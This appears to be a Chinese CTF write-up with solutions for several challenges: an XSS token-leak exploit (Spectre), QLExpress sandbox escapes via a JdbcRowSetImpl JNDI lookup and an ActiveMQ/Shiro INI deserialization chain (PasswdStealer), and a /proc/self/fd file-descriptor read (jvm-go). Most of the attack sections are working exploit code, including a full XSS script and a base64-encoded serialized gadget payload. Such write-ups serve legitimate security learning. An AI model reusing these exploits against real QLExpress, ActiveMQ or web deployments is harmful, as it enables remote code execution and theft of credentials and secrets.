比赛中只做了下xss,后面看了看其他题也都挺好,记录一下。
Spectre
预期解
csp规则,过滤挺多的

但在渲染的时候会进行替换,但是只针对developer用户,默认登陆只有default role,但是bot本身就是用developer用户访问,所以给bot的时候会用这个render进行解析。

调试一下,它替换if的时候能够绕过xss。
<script type="text/javascript" nonce="{{ nonce }}">alert(6)</script>

我们的目的是获取token key,这里发现给了一个share-view.dev.js,通过这个能leak token key
这样利用返回值不同即可一位一位的leak。
checker("a".repeat(16-prefix.length)+prefix,16-prefix.length)()
但还有一个问题就是怎么获取到值,发送到vps需要绕跨域,所以这里利用fetch先logout->login->submit,把token key作为文章内容,在default role用户下创建文章即可。
exp.js如下
<script type="text/javascript" nonce="{{ nonce }}">
async function submitContent(s) {
const response = await fetch('http://localhost:3000/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': '*/*',
'Origin': 'http://localhost:3000',
'Referer': 'http://localhost:3000/submit',
'Cookie': 'token=eyJ1aWQiOiJrazEyMyIsInJvbGUiOiJ1c2VyIn0.WDs6zl8WNtvMlujfvD+BK6lDg1N+jljh+aCPTC2WKwdwr9jLHyCIHc6bVI1ZrjbE'
},
credentials: 'include',
body: new URLSearchParams({
content: s
}).toString()
});
if (response.ok) {
const data = await response.json();
console.log(data);
} else {
console.error('Submission failed:', response.statusText);
}
}
async function logout() {
const response = await fetch('http://localhost:3000/account/logout', {
method: 'GET',
headers: {
'Accept': '*/*',
'Origin': 'http://localhost:3000',
}
});
}
logout();
async function login() {
const response = await fetch('http://localhost:3000/account/login', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': '*/*',
'Origin': 'http://localhost:3000',
'Referer': 'http://localhost:3000/account/login'
},
body: new URLSearchParams({
username: 'kk123',
password: '330ab5315ad8cdb57233fd00720fc1cb3009b87eec7745d8b31b3e513239a910',
remember: '1'
}).toString()
});
}
login();
tkflag = "";
function findTk() {
// `tk` 由 32 个字符组成,每个字符的 ASCII 值范围为 0 到 255。
const maxLength = 16;
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
let found = false;
let tk = "";
// 循环遍历可能的字符串,逐步测试
async function tryCombination(s) {
for (const char of chars) {
prefix = char + s
if(checker("a".repeat(16-prefix.length)+prefix,16-prefix.length)()){
console.log('Found tk:', prefix);
submitContent(prefix);
tk = prefix
if (prefix.length === maxLength) {
return prefix;
}else{
return tryCombination(prefix);
}
}
}
}
tryCombination('');
return tk
}
print(findTk());
</script>

非预期
PasswdStealer
ql
ql表达式 https://github.com/alibaba/QLExpress https://xie.infoq.cn/article/cab7d959586516642e98cbbb8
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);开启黑名单如下
static {
SECURITY_RISK_METHOD_LIST.add(System.class.getName() + ".exit");
SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec");
SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");
SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke");
SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");
SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");
SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName");
SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");
SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");
Method[] var0 = QLExpressRunStrategy.class.getMethods();
int var1 = var0.length;
for(int var2 = 0; var2 < var1; ++var2) {
Method method = var0[var2];
SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName() + "." + method.getName());
}
依赖还给了activemq-shiro,存在cb反序列化链子,主要找触发反序列化的点了
解法一
利用JdbcRowSetImpl打JNDI,
package org.example;
import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.IExpressContext;
import com.ql.util.express.config.QLExpressRunStrategy;
import java.util.*;
public class test {
public static void main(String[] args) {
ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set<String> secureMethods = new HashSet<>();
secureMethods.add("java.lang.Integer.valueOf");
String poc = "com.sun.rowset.JdbcRowSetImpl jdbc = new com.sun.rowset.JdbcRowSetImpl();jdbc.dataSourceName =\"ldap://localhost:1389/Exploit\";jdbc.autoCommit = true;\n" ;
QLExpressRunStrategy.setSecureMethods(secureMethods);
DefaultContext<String, Object> context = new DefaultContext();
try {
String shellcode = String.valueOf(runner.execute(poc, (IExpressContext)context, (List)null, false, false));
System.out.println(shellcode);
} catch (Exception e) {
System.out.println(e);
}
}
}解法二
https://github.com/CTFCON/slides/blob/main/2024/Make%20ActiveMQ%20Attack%20Authoritative.pdf
其中的Sink点在于 IniEnvironment
public IniEnvironment(String iniConfig) {
Ini ini = new Ini();
ini.load(iniConfig);
this.ini = ini;
this.init();
}这里其实对应Shiro的Ini配置文件,议题中也说到在设置和获取属性的时候会触发任意的getter和setter。最终sink点也选取议题中提到的ActiveMQObjectMessage。该类有一个getObject方法存在二次反序列化
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.apache.activemq.command;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.Serializable;
import java.util.Arrays;
import java.util.List;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
import javax.jms.JMSException;
import javax.jms.ObjectMessage;
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.util.ByteArrayInputStream;
import org.apache.activemq.util.ByteArrayOutputStream;
import org.apache.activemq.util.ByteSequence;
import org.apache.activemq.util.ClassLoadingAwareObjectInputStream;
import org.apache.activemq.util.JMSExceptionSupport;
import org.apache.activemq.wireformat.WireFormat;
public class ActiveMQObjectMessage extends ActiveMQMessage implements ObjectMessage, TransientInitializer {
public static final byte DATA_STRUCTURE_TYPE = 26;
private transient List<String> trustedPackages;
private transient boolean trustAllPackages;
protected transient Serializable object;
public ActiveMQObjectMessage() {
this.trustedPackages = Arrays.asList(ClassLoadingAwareObjectInputStream.serializablePackages);
this.trustAllPackages = false;
}
public Serializable getObject() throws JMSException {
if (this.object == null && this.getContent() != null) {
try {
ByteSequence content = this.getContent();
InputStream is = new ByteArrayInputStream(content);
if (this.isCompressed()) {
is = new InflaterInputStream((InputStream)is);
}
DataInputStream dataIn = new DataInputStream((InputStream)is);
ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
objIn.setTrustedPackages(this.trustedPackages);
objIn.setTrustAllPackages(this.trustAllPackages);
try {
this.object = (Serializable)objIn.readObject();
} catch (ClassNotFoundException var10) {
throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + var10, var10);
} finally {
dataIn.close();
}
} catch (IOException var12) {
throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + var12, var12);
}
}
return this.object;
}
}最终exp
[main]
activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage
byteSequence=org.apache.activemq.util.ByteSequence
byteSequence.data=内容
byteSequence.length=长度
activeMQObjectMessage.content=$byteSequence
activeMQObjectMessage.trustAllPackages=true
activeMQObjectMessage.object.a=1package org.example;
import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.IExpressContext;
import com.ql.util.express.config.QLExpressRunStrategy;
import java.util.Base64;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
/* loaded from: test.class */
public class test {
public static void main(String[] args) {
ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set<String> secureMethods = new HashSet<>();
secureMethods.add("java.lang.Integer.valueOf");
QLExpressRunStrategy.setSecureMethods(secureMethods);
DefaultContext<String, Object> context = new DefaultContext<>();
String express="bmV3IG9yZy5hcGFjaGUuYWN0aXZlbXEuc2hpcm8uZW52LkluaUVudmlyb25tZW50KCJbbWFpbl1cbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZT1vcmcuYXBhY2hlLmFjdGl2ZW1xLmNvbW1hbmQuQWN0aXZlTVFPYmplY3RNZXNzYWdlXG4iICsKICAgICAgICAgICAgICAgICJieXRlU2VxdWVuY2U9b3JnLmFwYWNoZS5hY3RpdmVtcS51dGlsLkJ5dGVTZXF1ZW5jZVxuIiArCiAgICAgICAgICAgICAgICAiYnl0ZVNlcXVlbmNlLmRhdGE9ck8wQUJYTnlBQmRxWVhaaExuVjBhV3d1VUhKcGIzSnBkSGxSZFdWMVpaVGFNTFQ3UDRLeEF3QUNTUUFFYzJsNlpVd0FDbU52YlhCaGNtRjBiM0owQUJaTWFtRjJZUzkxZEdsc0wwTnZiWEJoY21GMGIzSTdlSEFBQUFBQ2MzSUFLMjl5Wnk1aGNHRmphR1V1WTI5dGJXOXVjeTVpWldGdWRYUnBiSE11UW1WaGJrTnZiWEJoY21GMGIzTGpvWWpxY3lLa1NBSUFBa3dBQ21OdmJYQmhjbUYwYjNKeEFINEFBVXdBQ0hCeWIzQmxjblI1ZEFBU1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN2VIQnpjZ0EvYjNKbkxtRndZV05vWlM1amIyMXRiMjV6TG1OdmJHeGxZM1JwYjI1ekxtTnZiWEJoY21GMGIzSnpMa052YlhCaGNtRmliR1ZEYjIxd1lYSmhkRzl5Ky9TWkpiaHVzVGNDQUFCNGNIUUFFRzkxZEhCMWRGQnliM0JsY25ScFpYTjNCQUFBQUFOemNnQTZZMjl0TG5OMWJpNXZjbWN1WVhCaFkyaGxMbmhoYkdGdUxtbHVkR1Z5Ym1Gc0xuaHpiSFJqTG5SeVlYZ3VWR1Z0Y0d4aGRHVnpTVzF3YkFsWFQ4RnVyS3N6QXdBR1NRQU5YMmx1WkdWdWRFNTFiV0psY2trQURsOTBjbUZ1YzJ4bGRFbHVaR1Y0V3dBS1gySjVkR1ZqYjJSbGMzUUFBMXRiUWxzQUJsOWpiR0Z6YzNRQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek8wd0FCVjl1WVcxbGNRQitBQVJNQUJGZmIzVjBjSFYwVUhKdmNHVnlkR2xsYzNRQUZreHFZWFpoTDNWMGFXd3ZVSEp2Y0dWeWRHbGxjenQ0Y0FBQUFBRC8vLy8vZFhJQUExdGJRa3Y5R1JWblo5czNBZ0FBZUhBQUFBQUNkWElBQWx0Q3JQTVgrQVlJVk9BQ0FBQjRjQUFBQWsvSy9ycStBQUFBTVFBbEFRQVFWREl4TVRjeE56ZzJOamMyTURrd01BY0FBUUVBRUdwaGRtRXZiR0Z1Wnk5UFltcGxZM1FIQUFNQkFBcFRiM1Z5WTJWR2FXeGxBUUFWVkRJeE1UY3hOemcyTmpjMk1Ea3dNQzVxWVhaaEFRQUlQR05zYVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUmFtRjJZUzlzWVc1bkwxSjFiblJwYldVSEFBb0JBQXBuWlhSU2RXNTBhVzFsQVFBVktDbE1hbUYyWVM5c1lXNW5MMUoxYm5ScGJXVTdEQUFNQUEwS0FBc0FEZ0VBRUdwaGRtRXZiR0Z1Wnk5VGRISnBibWNIQUJBQkFBWThhVzVwZEQ0QkFBVW9XMElwVmd3QUVnQVRDZ0FSQUJRQkFBUmxlR1ZqQVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdEQUFXQUJjS0FBc0FHQUVBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRSEFCb0JBQlJxWVhaaEwybHZMMU5sY21saGJHbDZZV0pzWlFjQUhBRUFFSE5sY21saGJGWmxjbk5wYjI1VlNVUUJBQUZLQmEwZ2svT1IzZTgrQVFBTlEyOXVjM1JoYm5SV1lXeDFaUXdBRWdBSUNnQWJBQ01BSVFBQ0FCc0FBUUFkQUFFQUdnQWVBQjhBQVFBaUFBQUFBZ0FnQUFJQUNBQUhBQWdBQVFBSkFBQUFPd0FJQUFJQUFBQXZwd0FEQVV5NEFBKzdBQkZaQjd3SVdRTVFZNUZVV1FRUVlaRlVXUVVRYkpGVVdRWVFZNUZVdHdBVnRnQVpWN0VBQUFBQUFBRUFFZ0FJQUFFQUNRQUFBQkVBQVFBQkFBQUFCU3EzQUNTeEFBQUFBQUFCQUFVQUFBQUNBQVoxY1FCK0FCQUFBQUhweXY2NnZnQUFBRFFBR3dvQUF3QVZCd0FYQndBWUJ3QVpBUUFRYzJWeWFXRnNWbVZ5YzJsdmJsVkpSQUVBQVVvQkFBMURiMjV6ZEdGdWRGWmhiSFZsQlhIbWFlNDhiVWNZQVFBR1BHbHVhWFErQVFBREtDbFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQU5HYjI4QkFBeEpibTVsY2tOc1lYTnpaWE1CQUN4TWVYTnZjMlZ5YVdGc0wyZGhaR2RsZEM5d1lYbHNiMkZrY3k5MWRHbHNMMGRoWkdkbGRITWtSbTl2T3dFQUNsTnZkWEpqWlVacGJHVUJBQXhIWVdSblpYUnpMbXBoZG1FTUFBb0FDd2NBR2dFQUtubHpiM05sY21saGJDOW5ZV1JuWlhRdmNHRjViRzloWkhNdmRYUnBiQzlIWVdSblpYUnpKRVp2YndFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRQkFCUnFZWFpoTDJsdkwxTmxjbWxoYkdsNllXSnNaUUVBSm5semIzTmxjbWxoYkM5bllXUm5aWFF2Y0dGNWJHOWhaSE12ZFhScGJDOUhZV1JuWlhSekFDRUFBZ0FEQUFFQUJBQUJBQm9BQlFBR0FBRUFCd0FBQUFJQUNBQUJBQUVBQ2dBTEFBRUFEQUFBQUM4QUFRQUJBQUFBQlNxM0FBR3hBQUFBQWdBTkFBQUFCZ0FCQUFBQTRRQU9BQUFBREFBQkFBQUFCUUFQQUJJQUFBQUNBQk1BQUFBQ0FCUUFFUUFBQUFvQUFRQUNBQllBRUFBSmNIUUFDRnBOVFZoV1UwSktjSGNCQUhoeEFINEFEWGc9XG4iICsKICAgICAgICAgICAgICAgICJieXRlU2VxdWVuY2UubGVuZ3RoPTIyNTdcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS5jb250ZW50PSRieXRlU2VxdWVuY2VcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS50cnVzdEFsbFBhY2thZ2VzPXRydWVcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS5vYmplY3QuYT0xIik7";
String express2 = new String(Base64.getDecoder().decode(express));
System.out.println(express2);
try {
String shellcode = String.valueOf(runner.execute(express2, (IExpressContext<String, Object>) context, (List<String>) null, false, false));
System.out.println(shellcode);
} catch (Exception e) {
System.out.println(e);
}
}
}jvm-go
https://github.com/zxh0/jvm.go/blob/master/native/java/io/FileInputStream.go
在原项目上修改过,把 goFile.Close()删了导致文件未关闭

然后这里是先读的文件

给 ?page=/flag 然后遍历 /proc/self/fd/xx 拿flag